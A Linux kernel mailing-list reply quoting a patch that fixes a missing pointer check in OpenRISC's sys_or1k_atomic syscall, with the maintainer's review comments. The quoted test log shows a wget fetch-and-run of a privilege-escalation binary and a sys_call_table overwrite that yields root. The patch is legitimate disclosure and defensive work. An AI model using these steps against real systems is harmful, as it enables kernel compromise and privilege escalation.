On Fri, Aug 21, 2026 at 01:45:27AM +0000, Ali Ahmet Memis wrote:
> sys_or1k_atomic() (syscall 244 in the "or1k" ABI) takes two user
> pointers, v1 and v2, and swaps the words they point to in hand-written
> assembly.
>
> l.lwz r29,0(r4)
> l.lwz r27,0(r5)
> l.sw 0(r4),r27
> l.sw 0(r5),r29
>
> The pointers are not checked with access_ok(). The four memory
> accesses also have no exception table entries.
>
> A caller passes a kernel address as either pointer, and the syscall
> reads from and writes to it directly.
>
> This gives an unprivileged process a kernel read/write primitive. It
> overwrites kernel data such as the sys_call_table, gaining code
> execution in kernel context.
>
> Check both pointers before entering the critical section. Add fixups
> for the four memory accesses so faults on valid but unmapped user
> addresses return -EFAULT.
>
> Fixes: 9d02a4283e9c ("OpenRISC: Boot code")
> Cc: [email protected]
> Signed-off-by: Ali Ahmet Memis <[email protected]>
> ---
> v2: add Cc: [email protected], missed in v1.
>
> Tested against an unpatched or1ksim build with a local PoC that uses
> this syscall to overwrite a sys_call_table entry and escalate to root:
>
> ali@archlinux:~$ cd ~/or1k-build/buildroot/output/images
> ali@archlinux:~/or1k-build/buildroot/output/images$ qemu-system-or1k -kernel
> vmlinux -nographic -append "console=ttyS0"
> FDT at (ptrval)
> Linux version 6.18.7 (ali@archlinux) (or1k-buildroot-linux-musl-gcc.br_real
> (Buildroot -g86102dd8) 15.3.0, GNU ld (GNU Binutils) 2.45.1) #5 Fri Aug 21
> 00:38:10 UTC 2026
> OF: reserved mem: Reserved memory: No reserved-memory node in the DT
> CPU: OpenRISC-13 (revision 8) @20 MHz
> -- dmmu: 128 entries, 1 way(s)
> -- immu: 128 entries, 1 way(s)
> -- additional features:
> -- power management
> -- PIC
> -- timer
> Initial ramdisk not found
> Setting up paging and PTEs.
> map_ram: Memory: 0x0-0x8000000
> Zone ranges:
> Normal [mem 0x0000000000000000-0x0000000007ffffff]
> Movable zone start for each node
> Early memory node ranges
> node 0: [mem 0x0000000000000000-0x0000000007ffffff]
> Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff]
> itlb_miss_handler (ptrval)
> dtlb_miss_handler (ptrval)
> OpenRISC Linux -- http://openrisc.io
> Kernel command line: console=ttyS0
> printk: log buffer data + meta data: 131072 + 409600 = 540672 bytes
> Dentry cache hash table entries: 16384 (order: 3, 65536 bytes, linear)
> Inode-cache hash table entries: 8192 (order: 2, 32768 bytes, linear)
> Sorting __ex_table...
> Built 1 zonelists, mobility grouping on. Total pages: 16384
> mem auto-init: stack:all(zero), heap alloc:off, heap free:off
> mem_init_done ...........................................
> SLUB: HWalign=16, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
> NR_IRQS: 32, nr_irqs: 32, preallocated irqs: 0
> clocksource: openrisc_timer: mask: 0xffffffff max_cycles: 0xffffffff,
> max_idle_ns: 95563022313 ns
> Console: colour dummy device 80x25
> 40.00 BogoMIPS (lpj=80000)
> $ id
> uid=1000(test) gid=1000(test) groups=1000(test)
> $ wget -O /tmp/x http://10.0.2.2:8000/lpe_static
> Connecting to 10.0.2.2:8000 (10.0.2.2:8000)
> saving to '/tmp/x'
> x 100% |********************************| 174k 0:00:00
> ETA
> '/tmp/x' saved
> $ chmod +x /tmp/x
> $ /tmp/x
> Initial: uid=1000 euid=1000
> Installing commit_creds into getuid entry
> sys_call_table[174] overwritten
> original handler = 0xc002e2ac
> Calling hijacked syscall with init_cred
> hijacked syscall returned 0
> Restoring original getuid handler
> syscall table restored
> Final identity: uid=0 euid=0
> # id
> uid=0(root) gid=0(root)
> #
>
> arch/openrisc/kernel/entry.S | 42 ++++++++++++++++++++++++++++++++++++++---
> 1 file changed, 39 insertions(+), 3 deletions(-)
>
> diff --git a/arch/openrisc/kernel/entry.S b/arch/openrisc/kernel/entry.S
> index c7e90b09645e..2e8c4102cd62 100644
> --- a/arch/openrisc/kernel/entry.S
> +++ b/arch/openrisc/kernel/entry.S
> @@ -1223,15 +1223,49 @@ _no_syscall_trace:
> *
> */
>
> +/* Keep this literal; hi()/lo() can't use the UL-suffixed TASK_SIZE. */
> +#define OR1K_ATOMIC_ADDR_LIMIT 0x7ffffffc
OK, it would have been good to use TASK_SIZE.
> ENTRY(sys_or1k_atomic)
Note, I don't know of any applications that actually use this, we should
deprecated this syscall. But I do see it available in musl and strace, it would
take some time to cleanup.
> /* FIXME: This ignores r3 and always does an XCHG */
> +
> + /* Check both user pointers before accessing them. */
> + l.movhi r13,hi(OR1K_ATOMIC_ADDR_LIMIT)
> + l.ori r13,r13,lo(OR1K_ATOMIC_ADDR_LIMIT)
> + l.sfgtu r4,r13
> + l.bf 9f
> + l.nop
> + l.sfgtu r5,r13
> + l.bf 9f
> + l.nop
> +
> DISABLE_INTERRUPTS(r17,r19)
> - l.lwz r29,0(r4)
> - l.lwz r27,0(r5)
> - l.sw 0(r4),r27
> - l.sw 0(r5),r29
> +10: l.lwz r29,0(r4)
> +11: l.lwz r27,0(r5)
> +12: l.sw 0(r4),r27
> +13: l.sw 0(r5),r29
> ENABLE_INTERRUPTS(r17)
> l.jr r9
> l.or r11,r0,r0
>
> + /* Either pointer was outside user space, or turned out to be
> + * unmapped/inaccessible when we actually touched it.
> + */
> +9: l.jr r9
> + l.addi r11,r0,-EFAULT
> +
> + .section .fixup, "ax"
> +14:
> + ENABLE_INTERRUPTS(r17)
> + l.j 9b
> + l.nop
> + .previous
> +
> + .section __ex_table, "a"
> + .long 10b, 14b
> + .long 11b, 14b
> + .long 12b, 14b
> + .long 13b, 14b
> + .previous
> +
Thanks,
I will send this upstream.
-Stafford
